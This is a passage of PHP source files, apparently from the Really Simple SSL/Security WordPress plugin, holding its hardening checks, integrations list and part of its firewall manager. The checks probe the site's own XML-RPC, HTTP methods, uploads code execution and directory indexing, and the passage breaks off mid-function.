class REALLY_SIMPLE_SECURITY
{
	private static $instance;
	public $firewall_manager;
	public $hardening;
	/**
	 * Components array, so we can access singleton classes which are dynamically added, from anywhere.
	 * @var
	 */
	public $components;

	private function __construct()
	{
        if (!defined('RSSSL_SAFE_MODE') && file_exists(trailingslashit(WP_CONTENT_DIR) . 'rsssl-safe-mode.lock')) {
            define('RSSSL_SAFE_MODE', true);
        }
	}

	public static function instance()
	{
		if (!isset(self::$instance) && !(self::$instance instanceof REALLY_SIMPLE_SECURITY)) {
			self::$instance = new REALLY_SIMPLE_SECURITY;
			self::$instance->includes();
			if ( rsssl_admin_logged_in() ) {
				self::$instance->firewall_manager = new rsssl_firewall_manager();
				self::$instance->hardening = new rsssl_hardening();
			}
		}
		return self::$instance;
	}

	private function includes()
	{

		$path = rsssl_path.'security/';
		require_once( $path . 'integrations.php' );
		require_once( $path . 'hardening.php' );
		require_once( $path . 'cron.php' );
		require_once( $path . 'wordpress/class-rsssl-simple-404-interceptor.php' );



		/**
		 * Load only on back-end
		 */
		if ( rsssl_admin_logged_in() ) {
			require_once( $path . 'functions.php' );
			require_once( $path . 'deactivate-integration.php' );
			require_once( $path . 'firewall-manager.php' );
			require_once( $path . 'tests.php' );
			require_once( $path . 'notices.php' );
			require_once( $path . 'sync-settings.php' );
		}

	}
}

function RSSSL_SECURITY()
{
	return REALLY_SIMPLE_SECURITY::instance();
}
add_action('plugins_loaded', 'RSSSL_SECURITY', 9);really-simple-ssl/security/sync-settings.php000064400000005454147510273070015332 0ustar00<?php
defined('ABSPATH') or die();
/**
 * Conditionally we can decide to disable fields, add comments, and manipulate the value here
 * @param array $field
 * @param string $field_id
 *
 * @return array
 */

function rsssl_disable_fields( $field, $field_id ) {
	/**
	 * If a feature is already enabled, but not by RSSSL, we can simply check for that feature, and if the option in RSSSL is active.
	 * We set is as true, but disabled. Because our React interface only updates changed option, and this option never changes, this won't get set to true in the database.
	 */
	if ( $field_id === 'change_debug_log_location' ) {
		if ( ! rsssl_debug_log_file_exists_in_default_location() ) {
			if ( ! rsssl_is_debugging_enabled() ) {
				if ( ! $field['value'] ) {
					$field['value']    = true;
					$field['disabled'] = true;
				}
			} else if ( ! rsssl_debug_log_value_is_default() ) {
				if ( ! $field['value'] ) {
					$field['value']    = true;
					$field['disabled'] = true;
				}
			}
			//if not the default location
			$location = strstr( rsssl_get_debug_log_value(), 'wp-content' );
			if ( ! empty( $location ) && rsssl_is_debugging_enabled() && ! rsssl_debug_log_value_is_default() ) {
				$field['help'] = [
					'label' => 'default',
					'title' => __( "Debug.log", 'really-simple-ssl' ),
					'text'  => __( "Changed debug.log location to:", 'really-simple-ssl' ) . $location,
				];
			}

		}

	}

	if ( $field_id === 'disable_indexing' ) {
		if ( ! rsssl_directory_indexing_allowed() && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	if ( $field_id === 'disable_anyone_can_register' ) {
		if ( ! get_option( 'users_can_register' ) && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	if ( $field_id === 'disable_http_methods' ) {
		if ( ! rsssl_http_methods_allowed() && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	if ( $field_id === 'disable_file_editing' ) {
		if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	if ( $field_id === 'block_code_execution_uploads' ) {
		if ( ! rsssl_code_execution_allowed() && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	if ( $field_id === 'disable_xmlrpc' ) {
		if ( ! rsssl_xmlrpc_enabled() && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	if ( $field_id === 'rename_db_prefix' ) {
		if ( ! rsssl_is_default_wp_prefix() && ! ( $field['value'] ?? false ) ) {
			$field['value']    = true;
			$field['disabled'] = true;
		}
	}

	return $field;
}
add_filter('rsssl_field', 'rsssl_disable_fields', 10, 2);
really-simple-ssl/security/tests/index.php000064400000000043147510273070014756 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/security/tests/code-execution.php000064400000000233147510273070016563 0ustar00<?php
/**
 * Test file for Really Simple Security to check if uploads directory has code execution permissions
 *
 */

echo "RSSSL CODE EXECUTION MARKER";
really-simple-ssl/security/tests.php000064400000032610147510273070013654 0ustar00<?php
defined( 'ABSPATH' ) or die();

/**
 * Check if XML-RPC requests are allowed on this site
 * POST a request, if the request returns a 200 response code the request is allowed
 */
function rsssl_xmlrpc_allowed()
{
	$allowed = get_transient( 'rsssl_xmlrpc_allowed' );
	if ( !$allowed ) {
		$allowed = 'allowed';
		if ( function_exists( 'curl_init' ) ) {
			//set a default, in case of time out
			set_transient( 'rsssl_xmlrpc_allowed', 'no-response', DAY_IN_SECONDS );
			$url = site_url() . '/xmlrpc.php';
			$ch = curl_init($url);
			// XML-RPC listMethods call
			// Valid XML-RPC request
			$xmlstring = '<?xml version="1.0" encoding="utf-8"?> 
                            <methodCall>
                            <methodName>system.listMethods</methodName>
                            <params></params>
                            </methodCall>';

			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_HEADER, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			// Post string
			curl_setopt($ch, CURLOPT_POSTFIELDS, $xmlstring );
			curl_setopt($ch, CURLOPT_TIMEOUT, 3); //timeout in seconds
			curl_exec($ch);
			$response_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
			if ($response_code === 200) {
				$allowed = 'allowed';
			} else {
				$allowed = 'not-allowed';
			}
		}
		set_transient( 'rsssl_xmlrpc_allowed', $allowed, DAY_IN_SECONDS );
	}
	return $allowed === 'allowed';
}

/**
 * @return bool
 * Test if HTTP methods are allowed
 */
function rsssl_http_methods_allowed()
{
	if ( ! rsssl_user_can_manage() ) {
		return false;
	}

	$methods = [
		'GET',
		'POST',
		'PUT',
		'DELETE',
		'HEAD',
		'OPTIONS',
		'CONNECT',
		'TRACE',
		'TRACK',
		'PATCH',
		'COPY',
		'LINK',
		'UNLINK',
		'PURGE',
		'LOCK',
		'UNLOCK',
		'PROPFIND',
		'VIEW',
	];
	$tested = get_option( 'rsssl_http_methods_allowed' );

	#if the option was reset, start couting from 0
	if ( !$tested ){
		delete_option('rsssl_last_tested_http_method');
	}
	$last_tested = get_option('rsssl_last_tested_http_method', -1);

	$nr_of_tests_on_batch = 4;
	if ( !$tested || ( $last_tested < count($methods)-1 ) ) {
		$tested = get_option( 'rsssl_http_methods_allowed', [] );
		$next_test = $last_tested+1;

		$test_methods = array_slice($methods, $next_test, $nr_of_tests_on_batch, true);
		update_option('rsssl_last_tested_http_method', $last_tested+$nr_of_tests_on_batch, false);

		foreach ( $test_methods as $method ) {
			#set a default, in case a timeout occurs
			$tested['not-allowed'][] = $method;
			update_option( 'rsssl_http_methods_allowed', $tested, false );

			if ( function_exists( 'curl_init' ) ) {

				$ch = curl_init();
				curl_setopt( $ch, CURLOPT_URL, site_url() );
				curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, $method );
				curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
				curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
				curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
				curl_setopt( $ch, CURLOPT_HEADER, true );
				curl_setopt( $ch, CURLOPT_NOBODY, true );
				curl_setopt( $ch, CURLOPT_VERBOSE, true );
				curl_setopt( $ch, CURLOPT_TIMEOUT, 3 ); //timeout in seconds
				curl_exec( $ch );

				#if there are no errors, the request is allowed
				if ( ! curl_errno( $ch ) ) {
					//remove the not allowed entry
					$not_allowed_index = array_search( $method, $tested['not-allowed'], true );
					if ( $not_allowed_index !== false ) {
						unset( $tested['not-allowed'][ $not_allowed_index ] );
					}
					$tested['allowed'][] = $method;
				}
				curl_close( $ch );
				update_option( 'rsssl_http_methods_allowed', $tested, false );
			}
		}
	}


	if ( !empty($tested['allowed'])) {
		return true;
	}
	return false;
}

/**
 * @return bool
 *
 * Check if DB has default wp_ prefix
 */

function rsssl_is_default_wp_prefix() {
	global $wpdb;
	if ( $wpdb->prefix === 'wp_' ) {
		return true;
	}
	return false;
}

function rsssl_xmlrpc_enabled(){
	return apply_filters('xmlrpc_enabled', true );
}

/**
 * @return bool
 *
 * Check if user admin exists
 */

function rsssl_has_admin_user() {
	if ( !rsssl_user_can_manage() ) {
		return false;
	}
	//transient is more persistent then wp cache set
	$count = get_transient('rsssl_admin_user_count');
	//get from cache, but not on settings page
	if ( $count === false || RSSSL()->admin->is_settings_page() ){
		//use wp_cache_get to prevent duplicate queries in one pageload
		$count = wp_cache_get('rsssl_admin_user_count', 'really-simple-ssl');
		if ( $count === false ) {
			global $wpdb;
			$count = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->base_prefix}users WHERE user_login = 'admin'" );
			wp_cache_set('rsssl_admin_user_count', $count, 'really-simple-ssl', HOUR_IN_SECONDS );
		}
		set_transient('rsssl_admin_user_count', $count, HOUR_IN_SECONDS);
	}

	return $count > 0;
}

/**
 * Check if username is valid for use
 * @return bool
 */
function rsssl_new_username_valid(): bool {

	$new_user_login = trim(sanitize_user(rsssl_get_option('new_admin_user_login')));
	if ( $new_user_login === 'admin' ) {
		return false;
	}
	$user_exists = get_user_by('login', $new_user_login);
	if ( $user_exists ) {
		return false;
	}

	return is_string($new_user_login) && strlen($new_user_login)>2;
}

/**
 * For backward compatibility we need to wrap this function, as older versions do not have this function (<5.6)
 * @return bool
 */
function rsssl_wp_is_application_passwords_available(){
	if ( function_exists('wp_is_application_passwords_available') ) {
		return wp_is_application_passwords_available();
	}

	return false;
}

/**
 * Get users where display name is the same as login
 *
 * @param bool $return_users
 *
 * @return bool | array
 *
 */

function rsssl_get_users_where_display_name_is_login( $return_users=false ) {
	$found_users = [];
	$users = get_transient('rsssl_admin_users');
	if ( !$users ){
		$args = array(
			'role'    => 'administrator',
		);
		$users = get_users( $args );
		set_transient('rsssl_admin_users', $users, HOUR_IN_SECONDS);
	}

	foreach ( $users as $user ) {
		if ($user->display_name === $user->user_login) {
			$found_users[] = $user->user_login;
		}
	}

	// Maybe return users in integration
	if ( $return_users ) {
		return $found_users;
	}

	if ( count($found_users) > 0 ) {
		return true;
	}

	return false;
}

/**
 * Check if debugging in WordPress is enabled
 *
 * @return bool
 */
function rsssl_is_debugging_enabled() {
	return ( defined('WP_DEBUG') && WP_DEBUG && defined('WP_DEBUG_LOG') && WP_DEBUG_LOG );
}

function rsssl_debug_log_value_is_default(){
	$value = rsssl_get_debug_log_value();

	return (string) $value === 'true';
}

/**
 * Get value of debug_log constant
 * Please note that for a value 'true', you should check for the string value === 'true'
 * @return bool|string
 */

function rsssl_get_debug_log_value(){
	if ( !defined('WP_DEBUG_LOG')) {
		return false;
	}
	$wpconfig_path = rsssl_find_wp_config_path();

	if ( !$wpconfig_path ) {
		return false;
	}
	$wpconfig      = file_get_contents( $wpconfig_path );

	// Get WP_DEBUG_LOG declaration
	$regex = "/^\s*define\([ ]{0,2}[\'|\"]WP_DEBUG_LOG[\'|\"][ ]{0,2},[ ]{0,2}(.*)[ ]{0,2}\);/m";
	preg_match( $regex, $wpconfig, $matches );
	if ($matches && isset($matches[1]) ){
		return trim($matches[1]);
	}

	return false;
}

/**
 * Check if the debug log file exists in the default location, and if it contains our bogus info
 * @return bool
 *
 */
function rsssl_debug_log_file_exists_in_default_location(){
	$default_file = trailingslashit(WP_CONTENT_DIR).'debug.log';
	if ( !file_exists($default_file) ) {
		return false;
	}
	//limit max length of string to 500
	$content = file_get_contents($default_file, false, null, 0, 500 );
	return trim( $content ) !== 'Access denied';
}

/**
 * @return string
 * Test if code execution is allowed in /uploads folder
 */
function rsssl_code_execution_allowed()
{
	$code_execution_allowed = get_transient('rsssl_code_execution_allowed_status');
	if ( !$code_execution_allowed ) {
		$upload_dir = wp_get_upload_dir();
		//set a default, in case of timeouts
		$code_execution_allowed = 'not-allowed';
		set_transient( 'rsssl_code_execution_allowed_status', $code_execution_allowed, DAY_IN_SECONDS );

		$test_file = $upload_dir['basedir'] . '/' . 'code-execution.php';
		if ( is_writable($upload_dir['basedir'] ) && ! file_exists( $test_file ) ) {
			try {
				copy( rsssl_path . 'security/tests/code-execution.php', $test_file );
			} catch (Exception $e) {
				$code_execution_allowed = 'not-allowed';
			}
		}

		if ( file_exists( $test_file ) ) {
			$uploads    = wp_upload_dir();
			$upload_url = trailingslashit($uploads['baseurl']).'code-execution.php';
			$response = wp_remote_get($upload_url);
			if ( !is_wp_error($response) ) {
				if ( is_array( $response ) ) {
					$status = wp_remote_retrieve_response_code( $response );
					$web_source = wp_remote_retrieve_body( $response );
				}

				if ( $status != 200 ) {
					//Could not connect to website
					$code_execution_allowed = 'not-allowed';
				} elseif ( strpos( $web_source, "RSSSL CODE EXECUTION MARKER" ) === false ) {
					//Mixed content fixer marker not found in the websource
					$code_execution_allowed = 'not-allowed';
				} else {
					$code_execution_allowed = 'allowed';
				}
			} else {
				$code_execution_allowed = 'not-allowed';
			}
		}

		//clean up file again
		if ( file_exists($test_file) ) {
			unlink($test_file);
		}
		set_transient('rsssl_code_execution_allowed_status', $code_execution_allowed, DAY_IN_SECONDS);
	}

	return $code_execution_allowed === 'allowed';
}

/**
 * Test if directory indexing is allowed
 * We assume allowed if test is not possible due to restrictions. Only an explicity 403 on the response results in "forbidden".
 * On non htaccess servers, the default is non indexing, so we return forbidden.
 *
 * @return bool
 */
function rsssl_directory_indexing_allowed() {
	$status = get_transient('rsssl_directory_indexing_status');
	if ( !$status ) {
		if ( !rsssl_uses_htaccess() ) {
			$status = 'forbidden';
		} else {
			$status = 'allowed';
			//set a default, in case of timeouts
			set_transient( 'rsssl_directory_indexing_status', $status, DAY_IN_SECONDS );

			try {
				$test_folder = 'indexing-test';
				$test_dir = trailingslashit(ABSPATH) . $test_folder;
				if ( ! is_dir( $test_dir ) ) {
					mkdir( $test_dir, 0755 );
				}

				$response = wp_remote_get(trailingslashit( site_url($test_folder) ) );
				if ( is_dir( $test_dir )  ) {
					rmdir( $test_dir );
				}

				// WP_Error doesn't contain response code, return false
				if ( !is_wp_error( $response ) ) {
					$response_code = $response['response']['code'];
					if ( $response_code === 403 ) {
						$status = 'forbidden';
					}
				}
			} catch( Exception $e ) {

			}
		}
		set_transient('rsssl_directory_indexing_status', $status, DAY_IN_SECONDS );
	}

	return $status !== 'forbidden';
}

/**
 * Check if file editing is allowed
 * @return bool
 */
function rsssl_file_editing_allowed()
{
	if ( function_exists('wp_is_block_theme') && wp_is_block_theme() ) {
		return false;
	}
	return !defined('DISALLOW_FILE_EDIT' ) || !DISALLOW_FILE_EDIT;
}

/**
 * Check if user registration is allowed
 * @return bool
 */
function rsssl_user_registration_allowed()
{
	return get_option( 'users_can_register' );
}

/**
 * Check if page source contains WordPress version information
 * @return bool
 */

function rsssl_src_contains_wp_version() {
	$result = get_option('rsssl_wp_version_detected' );
	if ( $result===false ) {
		$result = 'no-response';
		update_option( 'rsssl_wp_version_detected', 'no-response', false );
		try {
			$wp_version = get_bloginfo( 'version' );
			$web_source = "";
			$response = wp_remote_get( home_url() );
			if ( ! is_wp_error( $response ) ) {
				if ( is_array( $response ) ) {
					$status     = wp_remote_retrieve_response_code( $response );
					$web_source = wp_remote_retrieve_body( $response );
				}

				if ( $status != 200 ) {
					$result = 'no-response';
				} elseif ( strpos( $web_source, 'ver='.$wp_version ) === false ) {
					$result = 'not-found';
				} else {
					$result = 'found';
				}
			}
			update_option( 'rsssl_wp_version_detected', $result, false );
		} catch(Exception $e) {
			update_option( 'rsssl_wp_version_detected', 'no-response', false );
		}
	}
	return $result==='found';
}

/**
 * Count the number of open hardening features
 * @return int
 */
function rsssl_count_open_hardening_features() {
	$open   = 0;
	$fields = rsssl_fields( false );

	// Filter out unused fields
	$recommended_hardening_fields = array_filter($fields, function($field){
		return isset($field['recommended']) && $field['recommended'];
	});

	// Create $hardening_options dynamically based on recommended field IDs
	$hardening_options = array_map(function($field) {
		return $field['id'];
	}, $recommended_hardening_fields);

	foreach ( $hardening_options as $option ) {

		// Get the field
		$field = array_filter( $fields, function ( $f ) use ( $option ) {
			return $f['id'] === $option;
		} );

		if ( ! empty( $field ) ) {
			$field = reset( $field );
			// Apply the rsssl_disable_fields filter
			$field = apply_filters( 'rsssl_field', $field, $field['id'] );

			// Check if the option is not set to true and the field is not disabled
			if ( rsssl_get_option( $option ) !== true &&
			     ( ! isset( $field['disabled'] ) || $field['disabled'] !== true ) &&
			     ( ! isset( $field['value'] ) || $field['value'] !== true ) ) {
				$open ++;
			}
		}
	}

	return $open;
}

function rsssl_has_open_hardening_features() {
	return rsssl_count_open_hardening_features() > 0;
}really-simple-ssl/security/deactivate-integration.php000064400000003113147510273070017140 0ustar00<?php
defined('ABSPATH') or die();
/**
 * If a plugin is deactivated, add to deactivated list.
 * @param string $field_id
 * @param mixed $new_value
 * @param mixed $prev_value
 * @param string $type
 *
 * @return void
 */
function rsssl_handle_integration_deactivation($field_id, $new_value, $prev_value, $type){
	if (!rsssl_user_can_manage()) {
		return;
	}
	if ($new_value !== $prev_value && $new_value === 0 ){
		//check if this field id exists in the list of plugins
		global $rsssl_integrations_list;
		foreach ( $rsssl_integrations_list as $plugin => $plugin_data ) {
			if (
				isset($plugin_data['has_deactivation']) &&
				$plugin_data['has_deactivation'] &&
				isset($plugin_data['option_id']) &&
				$plugin_data['option_id'] === $field_id
			) {
				//add to deactivated list
				$current_list = get_option('rsssl_deactivate_list', []);
				if ( !in_array($plugin, $current_list)) {
					$current_list[] = $plugin;
					update_option('rsssl_deactivate_list', $current_list, false);
				}
			}
		}
	}
}
add_action( "rsssl_after_save_field", "rsssl_handle_integration_deactivation", 10, 4 );

/**
 * Remove a plugin from the deactivation list if deactivation procedure was completed
 * @param string $plugin
 *
 * @return void
 */
function rsssl_remove_from_deactivation_list($plugin){
	if (!rsssl_user_can_manage()) {
		return;
	}
	$deactivate_list = get_option('rsssl_deactivate_list', []);
	if ( in_array($plugin, $deactivate_list )) {
		$index = array_search($plugin, $deactivate_list);
		unset($deactivate_list[$index]);
		update_option('rsssl_deactivate_list', $deactivate_list, false );
	}
}really-simple-ssl/security/integrations.php000064400000011204147510273070015214 0ustar00<?php
defined( 'ABSPATH' ) or die();
global $rsssl_integrations_list;
$rsssl_integrations_list = apply_filters( 'rsssl_integrations', array(
	'user-registration' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'disable_anyone_can_register',
	),

	'file-editing' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'disable_file_editing',
	),

	'hide-wp-version' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'hide_wordpress_version',
	),

	'user-enumeration' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'disable_user_enumeration',
	),

	'block-code-execution-uploads' => array(
		'folder'               => 'wordpress',
		'impact'               => 'medium',
		'risk'                 => 'low',
		'option_id'            => 'block_code_execution_uploads',
	),

	'prevent-login-info-leakage' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'disable_login_feedback',
	),
	'disable-indexing' => array(
		'folder'               => 'server',
		'option_id'            => 'disable_indexing',
		'has_deactivation'     => true,
	),

	'rename-admin-user' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'rename_admin_user',
	),
	'display-name-is-login-name' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'block_display_is_login',
	),

	'disable-xmlrpc' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'disable_xmlrpc',
		'always_include'       => false,
	),
	'vulnerabilities' => array(
		'folder'               => 'wordpress',
		'option_id'            => 'enable_vulnerability_scanner',
		'admin_only'           => true,
	),
	'class-rsssl-two-factor' => array(
		'folder'         => 'wordpress/two-fa',
		'option_id'      => 'login_protection_enabled',
		'always_include' => false,
	),
) );

/**
 * Check if this plugin's integration is enabled
 * @param string $plugin
 * @param array $details
 *
 * @return bool
 */
if ( ! function_exists('rsssl_is_integration_enabled') ) {
	function rsssl_is_integration_enabled( $plugin, $details ) {
		global $rsssl_integrations_list;
		if ( ! array_key_exists( $plugin, $rsssl_integrations_list ) ) {
			return false;
		}
		if ( $details['always_include'] ) {
			return true;
		}

		//if an integration was just enabled, we keep it enabled until it removes itself from the list.
		//only for admin users
		if ( rsssl_is_in_deactivation_list( $plugin ) ) {
			return true;
		}

		$field_id = $details['option_id'] ?? false;
		if ( ! $field_id ) {
			return false;
		}

		$field_value  = $details['option_value'] ?? false;
		$stored_value = rsssl_get_option( $field_id );
		if ( $field_value ) {
			$invert = false;
			$condition_met = false;
			if (strpos($field_value, 'NOT') === 0) {
				$invert = true;
				$field_value = str_replace( 'NOT ', '', $field_value);
			}
			if ( $stored_value === $field_value ) {
				$condition_met = true;
			}
			if ( $invert ) {
				$condition_met = !$condition_met;
			}
			return $condition_met;
		} else if ( $stored_value ) {
			return true;
		}

		return false;
	}
}
/**
 * code loaded without privileges to allow integrations between plugins and services, when enabled.
 */
if ( ! function_exists('rsssl_integrations') ) {
	function rsssl_integrations() {
		global $rsssl_integrations_list;
		foreach ( $rsssl_integrations_list as $plugin => $details ) {
			$details = wp_parse_args( $details,
				[
					'option_id'      => false,
					'always_include' => false,
					'folder'         => false,
					'admin_only'     => false,
					'is_pro'         => false,
				]
			);

			if ( $details['admin_only'] && ! rsssl_admin_logged_in() ) {
				continue;
			}

			if ( rsssl_is_integration_enabled( $plugin, $details ) ) {
				$path = apply_filters( 'rsssl_integrations_path', rsssl_path, $plugin, $details );

				$file = $path . 'security/' . $details['folder'] . "/" . $plugin . '.php';
				if ( ! file_exists( $file ) && $safe_mode ) {
					continue;
				}
				require_once( $file );
			}
		}
	}
}
add_action( 'plugins_loaded', 'rsssl_integrations', 10 );
add_action( 'rsssl_after_saved_fields', 'rsssl_integrations', 20 );

/**
 * Check if a plugin is on the deactivation list
 *
 * @param string $plugin
 *
 * @return bool
 */
if ( ! function_exists('rsssl_is_in_deactivation_list') ) {
	function rsssl_is_in_deactivation_list( string $plugin ): bool {
		if ( ! is_admin() || ! is_user_logged_in() ) {
			return false;
		}

		if ( ! is_array( get_option( 'rsssl_deactivate_list', [] ) ) ) {
			delete_option( 'rsssl_deactivate_list' );
		}

		return in_array( $plugin, get_option( 'rsssl_deactivate_list', [] ) );
	}
}really-simple-ssl/security/firewall-manager.php000064400000057041147510273070015734 0ustar00<?php
defined( 'ABSPATH' ) || die();

/**
 * Class to handle the creation and include of the firewall
 */
class rsssl_firewall_manager {
	/**
	 * Firewall object
	 *
	 * @var rsssl_firewall_manager
	 */
	private static $this;
	/**
	 * File
	 *
	 * @var string
	 */
	private $file = WP_CONTENT_DIR . '/advanced-headers.php';
	/**
	 * If we can use a dynamic path
	 *
	 * @var bool
	 */
	private $use_dynamic_path = WP_CONTENT_DIR === ABSPATH . 'wp-content';

	//rules to add to the firewall.
	private $rules;

	/**
	 * Our constructor
	 */
	public function __construct() {

		if ( isset( self::$this ) ) {
			wp_die();
		}
		self::$this = $this;

		// trigger this action to force rules update
		add_action( 'rsssl_update_rules', array( $this, 'install' ), 10 );
		add_action( 'rsssl_after_saved_fields', array( $this, 'install' ), 100 );
		add_action( 'rsssl_deactivate', array( $this, 'uninstall' ), 20 );
		add_filter( 'rsssl_notices', array( $this, 'notices' ) );
		add_filter( 'before_rocket_htaccess_rules', array( $this, 'add_htaccess_rules_before_wp_rocket' ), 999 );

		//handle activation and deactivation of wp rocket
		add_action( 'rocket_activation', array( $this, 'remove_prepend_file_in_htaccess' ) );
		add_action( 'rocket_deactivation', array( $this, 'include_prepend_file_in_htaccess' ) );

		if ( ! defined( 'RSSSL_IS_WP_ENGINE' ) ) {
			define( 'RSSSL_IS_WP_ENGINE', isset( $_SERVER['IS_WPE'] ) );
		}
		if ( ! defined( 'RSSSL_IS_FLYWHEEL' ) ) {
			define( 'RSSSL_IS_FLYWHEEL', isset( $_SERVER['SERVER_SOFTWARE'] ) && strpos( $_SERVER['SERVER_SOFTWARE'], 'Flywheel/' ) === 0 );
		}
		if ( ! defined( 'RSSSL_IS_PRESSABLE' ) ) {
			define( 'RSSSL_IS_PRESSABLE', ( defined( 'IS_ATOMIC' ) && IS_ATOMIC ) || ( defined( 'IS_PRESSABLE' ) && IS_PRESSABLE ) );
		}
	}

	/**
	 * Main installer for the firewall file
	 *
	 * @return void
	 */
	public function install(): void {
		if ( ! rsssl_admin_logged_in() ) {
			return;
		}

		if ( wp_doing_ajax() ) {
			return;
		}

		if ( empty( $this->rules ) ) {
			$this->rules = apply_filters( 'rsssl_firewall_rules', '' );
		}

		// no rules? remove the file.
		if ( empty( trim( $this->rules ) ) ) {
			// $this->delete_file();
			$this->remove_prepend_file_in_htaccess();
			$this->remove_prepend_file_in_wp_config();
			return;
		}
		// update the file to be included.
		$this->update_firewall( $this->rules );

		$this->include_prepend_file_in_wp_config();
		if ( $this->uses_htaccess() ) {
			$this->include_prepend_file_in_htaccess();
		}

		if ( $this->has_user_ini_file() ) {
			$this->include_prepend_file_in_user_ini();
		}
	}

	/**
	 * Remove file and file inclusions
	 *
	 * @return void
	 */
	public function uninstall(): void {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( wp_doing_ajax() ) {
			return;
		}

		$this->remove_prepend_file_in_htaccess();
		$this->remove_prepend_file_in_wp_config();
		$this->remove_auto_prepend_file_in_user_ini();

		$this->delete_file();
	}

	/**
	 * Check if our firewall file exists
	 *
	 * @param string $file // filename, including path
	 *
	 * @return bool
	 */
	private function file_exists( string $file ): bool {
		return file_exists( $file );
		// $wp_filesystem = $this->init_file_system();
		// return $wp_filesystem->is_file($this->file);
	}

	/**
	 * Initialize the WP_Filesystem
	 *
	 * @return false|WP_Filesystem_Base
	 */
	private function init_file_system() {
		if ( ! function_exists( 'WP_Filesystem' ) ) {
			include_once ABSPATH . 'wp-admin/includes/file.php';
		}
		if ( false === ( $creds = request_filesystem_credentials( site_url(), '', false, false, null ) ) ) {
			return false; // stop processing here.
		}
		global $wp_filesystem;
		if ( ! WP_Filesystem( $creds ) ) {
			// request_filesystem_credentials(site_url(), '', true, false, null);//phpcs:ingore
			return false;
		}
		return $wp_filesystem;
	}

	/**
	 * Update the file that contains the firewall rules, advanced-headers.php
	 *
	 * @param string $rules //rules to add to the firewall.
	 *
	 * @return void
	 */
	public function update_firewall( string $rules ): void {
		if ( ! rsssl_admin_logged_in() ) {
			return;
		}
		$contents  = '<?php' . "\n";
		$contents .= '/**' . "\n";
		$contents .= '* This file is created by Really Simple Security' . "\n";
		$contents .= '*/' . "\n\n";
		$contents .= 'if (defined("SHORTINIT") && SHORTINIT) return;' . "\n\n";
		$contents .= '$base_path = dirname(__FILE__);' . "\n";
		$contents .= 'if( file_exists( $base_path . "/rsssl-safe-mode.lock" ) ) {' . "\n";
		$contents .= '    if ( ! defined( "RSSSL_SAFE_MODE" ) ) {' . "\n";
		$contents .= '        define( "RSSSL_SAFE_MODE", true );' . "\n";
		$contents .= '    }' . "\n";
		$contents .= '    return;' . "\n";
		$contents .= '}' . "\n\n";
		// allow disabling of headers for detection purposes.
		$contents .= 'if ( isset($_GET["rsssl_header_test"]) && (int) $_GET["rsssl_header_test"] ===  ' . $this->get_headers_nonce() . ' ) return;' . "\n\n";
		//if already included at some point, don't execute again.
		$contents .= 'if ( defined("RSSSL_HEADERS_ACTIVE" ) ) return;' . "\n";
		$contents .= 'define( "RSSSL_HEADERS_ACTIVE", true );' . "\n";
		$contents .= "//RULES START\n" . $rules;

		$this->put_contents( $this->file, $contents );
	}

	/**
	 * Save data
	 *
	 * @param string $file //filename, including path.
	 * @param string $contents //data to save.
	 *
	 * @return void
	 */
	private function put_contents( $file, $contents ): void {
		if ( ! rsssl_admin_logged_in() ) {
			return;
		}

		if ( !file_exists($file) || $this->is_writable($file)) {
			// $wp_filesystem = $this->init_file_system();
			// $result = $wp_filesystem->put_contents($contents, $this->file);
			file_put_contents( $file, $contents );//phpcs:ignore
		} else if ( !$this->is_writable($file)) {
			return;
		}

		//only chmod other files than .htaccess and wpconfig. We leave these as is.
		if ( strpos($file, 'htaccess') === false || strpos($file, 'wp-config.php') === false ) {
			if ( $this->file_exists( $this->file) ) {
				chmod( $this->file, 0644 );//phpcs:ignore
			}
		}
	}

	/**
	 * Get the contents of a file
	 *
	 * @param string $file //filename, including path.
	 *
	 * @return string
	 */
	private function get_contents( string $file ): string {
		if ( ! $this->file_exists( $file ) ) {
			return '';
		}
		// $wp_filesystem = $this->init_file_system();
		// $result = $wp_filesystem->get_contents($file);
		return file_get_contents( $file );//phpcs:ignore
	}
	/**
	 * Delete a file
	 *
	 * @return void
	 */
	private function delete_file(): void {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( $this->file_exists( $this->file ) ) {
			unlink( $this->file );//phpcs:ignore
		}
		// $wp_filesystem = $this->init_file_system();
		// $wp_filesystem->delete($this->file);
	}

	/**
	 * @return bool
	 *
	 * Check if installation uses htaccess.conf (Bitnami)
	 */
	private function uses_htaccess_conf() {
		$htaccess_conf_file = dirname( ABSPATH ) . '/conf/htaccess.conf';
		//conf/htaccess.conf can be outside of open basedir, return false if so
		$open_basedir = ini_get( 'open_basedir' );
		if ( ! empty( $open_basedir ) ) {
			return false;
		}
		return is_file( $htaccess_conf_file );
	}

	/**
	 * Get the .htaccess path
	 *
	 * @return string
	 */
	private function htaccess_path(): string {

